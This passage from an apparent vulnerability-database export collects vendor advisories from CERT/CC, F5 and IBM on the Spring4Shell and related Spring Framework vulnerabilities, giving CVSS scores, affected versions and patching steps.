statement from the vendor.\n\n#### References\n\n * <https://www.tibco.com/support/notices/spring-framework-vulnerability-update>\n\n### Alphatron Medical Unknown\n\nNotified: 2022-04-02 Updated: 2022-04-02 **CVE-2022-22965**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Extreme Networks Unknown\n\nNotified: 2022-04-06 Updated: 2022-04-05 **CVE-2022-22965**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### PagerDuty Unknown\n\nNotified: 2022-04-02 Updated: 2022-04-02 **CVE-2022-22965**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\nView all 39 vendors __View less vendors __\n\n \n\n\n### References\n\n * <https://tanzu.vmware.com/security/cve-2022-22965>\n * <https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement>\n * <https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html>\n * <https://github.com/NCSC-NL/spring4shell/blob/main/software/README.md>\n\n### Other Information\n\n**CVE IDs:** | [CVE-2022-22965 ](<http://web.nvd.nist.gov/vuln/detail/CVE-2022-22965>) \n---|--- \n**Date Public:** | 2022-03-30 \n**Date First Published:** | 2022-03-31 \n**Date Last Updated: ** | 2022-05-19 16:09 UTC \n**Document Revision: ** | 22 \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-31T00:00:00", "type": "cert", "title": "Spring Framework insecurely handles PropertyDescriptor objects with data binding", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22950", "CVE-2022-22963", "CVE-2022-22965"], "modified": "2022-05-19T16:09:00", "id": "VU:970766", "href": "https://www.kb.cert.org/vuls/id/970766", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "f5": [{"lastseen": "2022-04-11T19:29:49", "description": " * Spring Framework RCE (Spring4Shell): [CVE-2022-22965](<https://www.cve.org/CVERecord?id=CVE-2022-22965>)\n\nA Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.\n\n * Spring Framework DoS: [CVE-2022-22950](<https://www.cve.org/CVERecord?id=CVE-2022-22950>)\n\nn Spring Framework versions 5.3.0 - 5.3.16 and older unsupported versions, it is possible for a user to provide a specially crafted SpEL expression that may cause a denial of service condition.\n\n * Spring Cloud RCE: [CVE-2022-22963](<https://www.cve.org/CVERecord?id=CVE-2022-22963>)\n\nIn Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions, when using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources.\n\nImpact\n\nThere is no impact; F5 products and services and NGINX products are not affected by this vulnerability.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-31T15:47:00", "type": "f5", "title": "Spring Framework (Spring4Shell) and Spring Cloud vulnerabilities CVE-2022-22965, CVE-2022-22950, and CVE-2022-22963", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22950", "CVE-2022-22963", "CVE-2022-22965"], "modified": "2022-04-11T17:28:00", "id": "F5:K11510688", "href": "https://support.f5.com/csp/article/K11510688", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "ibm": [{"lastseen": "2023-06-24T06:03:09", "description": "## Summary\n\nIBM QRadar SIEM is affected but not vulnerable to a remote code execution in Spring Framework (CVE-2022-22965) as it does not meet all of the following criteria: 1. JDK 9 or higher, 2. Apache Tomcat as the Servlet container, 3. Packaged as WAR (in contrast to a Spring Boot executable jar), 4. Spring-webmvc or spring-webflux dependency, 5. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions. QVM utilizes the Spring Framework to support our Java backed user interface.. The fix includes Spring 5.3.18.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22963](<https://vulners.com/cve/CVE-2022-22963>) \n** DESCRIPTION: **VMware Spring Cloud Function could allow a remote attacker to execute arbitrary code on the system, caused by an error when using the routing functionality. By providing a specially crafted SpEL as a routing-expression, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223020](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223020>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2022-22950](<https://vulners.com/cve/CVE-2022-22950>) \n** DESCRIPTION: **VMware Tanzu Spring Framework is vulnerable to a denial of service, caused by improper input validation. By sending a specially-crafted crafted SpEL expression, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 5.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223096](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223096>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \nQRadar / QRM / QVM / QRIF / QNI v7.3| 7.3.0 - 7.3.3 Fix Pack 11 \nQRadar / QRM / QVM / QRIF / QNI v7.4| 7.4.0 - 7.4.3 Fix Pack 5 \nQRadar / QRM / QVM / QRIF / QNI v7.5| 7.5.0 - 7.5.0 Update Package 1 \n \n \n\n\n## Remediation/Fixes\n\nIBM encourages customers to update their systems promptly. \n\n**Product**| **Versions**| **Fix** \n---|---|--- \nQRadar / QRM / QVM / QRIF / QNI| 7.3| [7.3.3 Fix Pack 11 Interim Fix 01](<https://www.ibm.com/support/fixcentral/swg/downloadFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Security+QRadar+SIEM&release=All&platform=Linux&function=fixId&fixids=7.3.3-QRADAR-QRSIEM-20220517151911INT&includeRequisites=1&includeSupersedes=0&downloadMethod=http> \"7.3.3 Fix Pack 11 Interim Fix 01\" ) \nQRadar / QRM / QVM / QRIF / QNI| 7.4| [7.4.3 Fix Pack 6](<https://www.ibm.com/support/fixcentral/swg/downloadFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Security+QRadar+SIEM&release=All&platform=Linux&function=fixId&fixids=7.4.3-QRADAR-QRSIEM-20220531120920&includeRequisites=1&includeSupersedes=0&downloadMethod=http> \"7.4.3 Fix Pack 6\" ) \nQRadar / QRM / QVM / QRIF / QNI| 7.5| [7.5.0 Update Package 2](<https://www.ibm.com/support/fixcentral/swg/downloadFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Security+QRadar+SIEM&release=All&platform=Linux&function=fixId&fixids=7.5.0-QRADAR-QRSIEM-20220527130137&includeRequisites=1&includeSupersedes=0&downloadMethod=http> \"7.5.0 Update Package 2\" ) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-24T17:34:09", "type": "ibm", "title": "Security Bulletin: IBM QRadar SIEM is affected by a remote code execution in Spring Framework (CVE-2022-22963, CVE-2022-22965, CVE-2022-22950)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22950", "CVE-2022-22963", "CVE-2022-22965"], "modified": "2022-06-24T17:34:09", "id": "C0904FD149C70D8A2835DB923B2BF04803388EF83CB969D07F28836C567C672B", "href": "https://www.ibm.com/support/pages/node/6598419", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T05:54:34", "description": "## Summary\n\nCMIS is affected since it uses SpringFramework, but not vulnerable to [CVE-2022-22965] and [CVE-2022-22963].\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM ECM CMIS and FileNet Collaboration Services| 3.0.6 \nCP4BA| 21.0.3 \nCP4BA| 22.0.1 \n \n\n\n## Remediation/Fixes\n\nCMIS has upgraded to SpringFramework version 5.3.18 in the below releases. \n \n\n\nProduct| VRMF| Remediation/First Fix \n---|---|--- \nIBM ECM CMIS and FileNet Collaboration Services| 3.0.6.0| [CMIS 3.0.6-IF2](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise%20Content%20Management&product=ibm/Other+software/Content+Navigator&release=3.0.6&platform=All&function=all> \"CMIS 3.0.6-IF2\" ) \\- 8/2/2022 \nCP4BA| 21.0.3.0| [CP4BA 21.0.3-IF12](<https://www.ibm.com/support/pages/node/6612563> \"CP4BA 21.0.3-IF12\" ) \\- 9/1/2022 \nCP4BA| 22.0.1.0| [CP4BA 22.0.1-IF2](<https://www.ibm.com/support/pages/node/6612561> \"CP4BA 22.0.1-IF2\" ) \\- 9/2/2022 \n \n \n \n\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-18T15:36:16", "type": "ibm", "title": "Security Bulletin: CMIS is affected since it uses Spring Framework, but not vulnerable to [CVE-2022-22965] and [CVE-2022-22963]", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963", "CVE-2022-22965"], "modified": "2022-10-18T15:36:16", "id": "5303EB56B374789D2F25DD42CDE200B10A36458869D3BC5FB7882728637FFBF5", "href": "https://www.ibm.com/support/pages/node/6830265", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:06:38", "description": "## Summary\n\nSecurity vulnerability in Spring Framework affects IBM Watson Explorer. IBM Watson Explorer has addressed this vulnerability.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-22060](<https://vulners.com/cve/CVE-2021-22060>) \n** DESCRIPTION: **VMware Tanzu Spring Framework could allow a remote authenticated attacker to bypass security restrictions, caused by improper input validation. By sending a specially-crafted request, an attacker could exploit this vulnerability to insert additional log entries. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/217183](<https://exchange.xforce.ibmcloud.com/vulnerabilities/217183>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2022-22950](<https://vulners.com/cve/CVE-2022-22950>) \n** DESCRIPTION: **VMware Tanzu Spring Framework is vulnerable to a denial of service, caused by improper input validation. By sending a specially-crafted crafted SpEL expression, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 5.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223096](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223096>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Watson Explorer Deep Analytics Edition Foundational Components| \n\n12.0.0.0,\n\n12.0.1,\n\n12.0.2.0 - 12.0.2.2,\n\n12.0.3.0 - 12.0.3.9 \n \nIBM Watson Explorer Deep Analytics Edition Analytical Components| \n\n12.0.0.0,\n\n12.0.1,\n\n12.0.2.0 - 12.0.2.2,\n\n12.0.3.0 - 12.0.3.9 \n \nIBM Watson Explorer Foundational Components| 11.0.0.0 - 11.0.0.3, \n11.0.1, \n11.0.2.0 - 11.0.2.13 \nIBM Watson Explorer Analytical Components| 11.0.0.0 - 11.0.0.3, \n11.0.1, \n11.0.2.0 - 11.0.2.13 \n \n## Remediation/Fixes\n\n**Affected Product**| **Affected Versions**| **How to acquire and apply the fix** \n---|---|--- \nIBM Watson Explorer Deep Analytics Edition \nFoundational Components| \n\n12.0.0.0,\n\n12.0.1,\n\n12.0.2.0 - 12.0.2.2, 12.0.3.0 - 12.0.3.9\n\n| \n\nQuery Modifier service is affected by this vulnerability. If Query Modifier service is installed (see [Installing Query Modifier](<https://www.ibm.com/docs/en/watson-explorer/12.0.x?topic=explorer-installing-query-modifier>)), please follow the steps below.\n\n 1. If you have not already installed, install V12.0.3.9 (see the Fix Pack [download document](<https://www.ibm.com/support/pages/node/6539806>)).\n 2. Download the interim fix from [Fix Central](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Watson%2BGroup&product=ibm/Information+Management/InfoSphere+Data+Explorer&release=12.0.3.9&platform=All&function=all>): **12.0.3.9-WS-WatsonExplorer-DAEFoundational-IF001**.\n 3. To apply the fix, follow the steps below. \n\n 1. Stop Query Modifier service if it is running \n\n * Linux: Run /etc/init.d/querymodifier stop\n * Windows: Open the Service window, choose the Query Modifier Service, and click the Stop Service button.\n 2. Navigate to <install_dir>/Engine/nlq\n 3. Rename querymodifier.jar to querymodifier.jar.bak\n 4. Copy the downloaded querymodifier.jar to <install_dir>/Engine/nlq\n 5. Run install command \n\n * Linux: querymodifier-install.sh\n * Windows: querymodifier-install.ps1\n 6. Start Query Modifier service if you use the service \n\n * Linux: Run /etc/init.d/querymodifier start\n * Windows: Open the Service window, choose the Query Modifier Service, and click the Start Service button. \nIBM Watson Explorer Deep Analytics Edition Analytical Components| 12.0.0.0, 12.0.1, 12.0.2.0 - 12.0.2.2, 12.0.3.0 - 12.0.3.9| \n\nNatural Language Query service is affected by this vulnerability. Please follow the steps below.\n\n 1. If you have not already installed, install V12.0.3.9 (see the Fix Pack [download document](<https://www.ibm.com/support/pages/node/6539808>)).\n 2. Download the interim fix from [Fix Central](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Watson%2BGroup&product=ibm/Information+Management/InfoSphere+Data+Explorer&release=12.0.3.9&platform=All&function=all>): **12.0.3.9-WS-WatsonExplorer-DAEAnalytical-IF001**.\n 3. To apply the fix, follow the steps below. \n\n 1. Stop all services if it is running \nesadmin stop\n 2. Navigate to <install_dir>/lib\n 3. Rename querymodifier.jar and es.indexservice.jar to querymodifier.jar.bak and es.indexservice.jar.bak\n 4. Copy the downloaded querymodifier.jar and es.indexservice.jar to <install_dir>/lib\n 5. Start all services \nesadmin start \nIBM Watson Explorer \nFoundational Components| 11.0.0.0 - 11.0.0.3, \n11.0.1, \n11.0.2.0 - \n11.0.2.13| \n\nQuery Modifier service is affected by this vulnerability. If Query Modifier service is installed (see [Installing Query Modifier](<https://www.ibm.com/docs/en/watson-explorer/11.0.2?topic=explorer-installing-query-modifier>)), please follow the steps below.\n\n 1. If you have not already installed, install V11.0.2.13 (see the Fix Pack [download document](<https://www.ibm.com/support/pages/node/6539814>)).\n 2. Download the interim fix for your edition (Enterprise or Advanced) from [Fix Central](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Watson%2BGroup&product=ibm/Information+Management/InfoSphere+Data+Explorer&release=11.0.2.11&platform=All&function=all>): **11.0.2.13-WS-WatsonExplorer-<Edition>Foundational-IF001 **(EE for Enterprise Edition, AE for Advanced Edition).\n 3. To apply the fix, follow the steps below. \n\n 1. Stop Query Modifier service if it is running \n\n * Linux: Run /etc/init.d/querymodifier stop\n * Windows: Open the Service window, choose the Query Modifier Service, and click the Stop Service button.\n 2. Navigate to <install_dir>/Engine/nlq\n 3. Rename querymodifier.jar to querymodifier.jar.bak\n 4. Copy the downloaded querymodifier.jar to <install_dir>/Engine/nlq\n 5. Run install command \n\n * Linux: querymodifier-install.sh\n * Windows: querymodifier-install.ps1\n 6. Start Query Modifier service if you use the service \n\n * Linux: Run /etc/init.d/querymodifier start\n * Windows: Open the Service window, choose the Query Modifier Service, and click the Start Service button. \nIBM Watson Explorer Analytical Components| 11.0.0.0 - 11.0.0.3, \n11.0.1, \n11.0.2.0 - \n11.0.2.13| \n\nNatural Language Query service is affected by this vulnerability. Please follow the steps below.\n\n 1. If you have not already installed, install V11.0.2.13 (see the Fix Pack [download document](<http://www.ibm.com/support/pages/node/6497905>)).\n 2. Download the interim fix from [Fix Central](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Watson%2BGroup&product=ibm/Information+Management/InfoSphere+Data+Explorer&release=11.0.2.13&platform=All&function=all>): **11.0.2.13-WS-WatsonExplorer-AEAnalytical-IF001**.\n 3. To apply the fix, follow the steps below. \n\n 1. Stop all services if it is running \nesadmin stop\n 2. Navigate to <install_dir>/lib\n 3. Rename querymodifier.jar and es.indexservice.jar to querymodifier.jar.bak and es.indexservice.jar.bak\n 4. Copy the downloaded querymodifier.jar and es.indexservice.jar to <install_dir>/lib\n 5. Start all services \nesadmin start \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-22T11:43:07", "type": "ibm", "title": "Security Bulletin: Vulnerability exists for Spring Framework in Watson Explorer (CVE-2021-22060, CVE-2022-22965, CVE-2022-22950)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22060", "CVE-2022-22950", "CVE-2022-22965"], "modified": "2022-04-22T11:43:07", "id": "F426BDEEA0109CBE44C73C53461CE7144BDD04ADCF7EC044CE76723EAE672095", "href": "https://www.ibm.com/support/pages/node/6573715", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:03:54", "description": "## Summary\n\nThere are multiple vulnerabilities in Spring Framework (CVE-2022-22968, CVE-2022-22965, and CVE-2022-22950) as described in the vulnerability details section. Spring Framework v5.3.8 is used by Db2 Web Query for i for infrastructure support. IBM has addressed the vulnerabilities in Db2 Web Query for i by upgrading to Spring Framework v5.3.19. \n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22968](<https://vulners.com/cve/CVE-2022-22968>) \n** DESCRIPTION: **Spring Framework could provide weaker than expected security, caused by a data binding rules vulnerability in which the patterns for disallowedFields on a DataBinder are case sensitive. The case sensitivity allows that a field is insufficiently protected unless it is listed with both upper and lower case for the first character of the field. An attacker could exploit this vulnerability to launch further attacks on the system. \nCVSS Base score: 3.7 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/224374](<https://exchange.xforce.ibmcloud.com/vulnerabilities/224374>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2022-22950](<https://vulners.com/cve/CVE-2022-22950>) \n** DESCRIPTION: **VMware Tanzu Spring Framework is vulnerable to a denial of service, caused by improper input validation. By sending a specially-crafted crafted SpEL expression, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 5.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223096](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223096>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Db2 Web Query for i| 2.3.0 \nIBM Db2 Web Query for i| 2.2.1 \n \n\n\n## Remediation/Fixes\n\n**IBM strongly recommends addressing the vulnerabilities now.**\n\nDb2 Web Query for i releases 2.2.1 and 2.3.0 are impacted. \n\n**Release 2.2.1 can be fixed by upgrading to release 2.3.0.**\n\nTo request an EZ-Install package, including instructions for the upgrade installation, send an email to [QU2@us.ibm.com](<mailto:QU2@us.ibm.com>). More information for the upgrade is available at <https://ibm.biz/db2wq-install>. \n\n**Release 2.3.0 can be fixed by applying the latest Db2 Web Query for i group Program Temporary Fix (PTF).**\n\nThe PTFs are applied to product ID 5733WQX. The group PTF numbers and minimum level with the fix are:\n\n**Affected Releases**\n\n| \n\n**Group PTF and Minimum Level for Remediation** \n \n---|--- \n \nDb2 Web Query for i 2.3.0 w/ IBM i 7.5\n\n| \n\n[SF99671 level 6](<https://www.ibm.com/support/fixcentral/ibmi/quickorder?function=IBMiFixId&fixids=SF99671&includeSupersedes=0&source=fc> \"SF99671 level 6\" ) \n \nDb2 Web Query for i 2.3.0 w/ IBM i 7.4\n\n| \n\n[SF99654 level 6](<https://www.ibm.com/support/fixcentral/ibmi/quickorder?function=IBMiFixId&fixids=SF99654&includeSupersedes=0&source=fc>) \n \nDb2 Web Query for i 2.3.0 w/ IBM i 7.3\n\n| \n\n[SF99533 level 6](<https://www.ibm.com/support/fixcentral/ibmi/quickorder?function=IBMiFixId&fixids=SF99533&includeSupersedes=0&source=fc>) \n \n_**Important note:** \n__IBM recommends that all users running unsupported versions of affected products upgrade to supported and fixed version of affected products._\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-10T05:17:19", "type": "ibm", "title": "Security Bulletin: Due to use of Spring Framework, IBM Db2 Web Query for i is vulnerable to unprotected fields (CVE-2022-22968), remote code execution (CVE-2022-22965), and denial of service (CVE-2022-22950).", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22950", 